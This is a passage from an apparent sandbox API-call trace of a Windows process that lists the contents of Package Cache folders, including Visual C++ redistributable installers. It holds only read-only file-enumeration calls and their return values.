ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0xb35c4d00, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.624] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb35c4d00, ftCreationTime.dwHighDateTime=0x1ced525, ftLastAccessTime.dwLowDateTime=0xb35c4d00, ftLastAccessTime.dwHighDateTime=0x1ced525, ftLastWriteTime.dwLowDateTime=0xb35c4d00, ftLastWriteTime.dwHighDateTime=0x1ced525, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0217.624] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.624] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x47 [0217.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c893534, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.625] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c893534, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.625] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c893534, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xa7a1fb75, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c86d4cb, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4ae0cc20, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.626] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.626] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpFilePart=0x0) returned 0x47 [0217.627] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c893534, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.627] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c893534, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c893534, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c893534, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xa7a1fb75, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c86d4cb, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4ae0cc20, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c86d4cb, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c86d4cb, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4ae0cc20, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0217.628] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.628] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", lpFilePart=0x0) returned 0x47 [0217.628] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*" (normalized: "c:\\users\\all users\\package cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x64df9047, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.629] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x64df9047, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xaba9e611, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x625ed0ab, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x9e2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.630] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.630] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", lpFilePart=0x0) returned 0x47 [0217.630] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*" (normalized: "c:\\users\\all users\\package cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x64df9047, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.631] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x64df9047, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xaba9e611, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x625ed0ab, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x9e2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64df9047, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x64df9047, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x625ed0ab, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x9e2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0217.632] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.835] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpFilePart=0x0) returned 0x47 [0217.835] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*" (normalized: "c:\\users\\all users\\package cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69df918b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.836] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69df918b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.836] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xad482581, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.837] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x672872b5, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x9e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0217.837] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.837] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.837] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpFilePart=0x0) returned 0x47 [0217.837] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*" (normalized: "c:\\users\\all users\\package cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69df918b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.838] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69df918b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.838] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xad482581, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0217.838] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x672872b5, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x9e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0217.838] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69df918b, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69df918b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x672872b5, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x9e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0217.839] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.839] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", lpFilePart=0x0) returned 0x53 [0217.839] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec09f7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.840] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec09f7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.840] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.841] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0217.841] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.841] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", lpFilePart=0x0) returned 0x53 [0217.841] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec09f7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.842] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec09f7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, 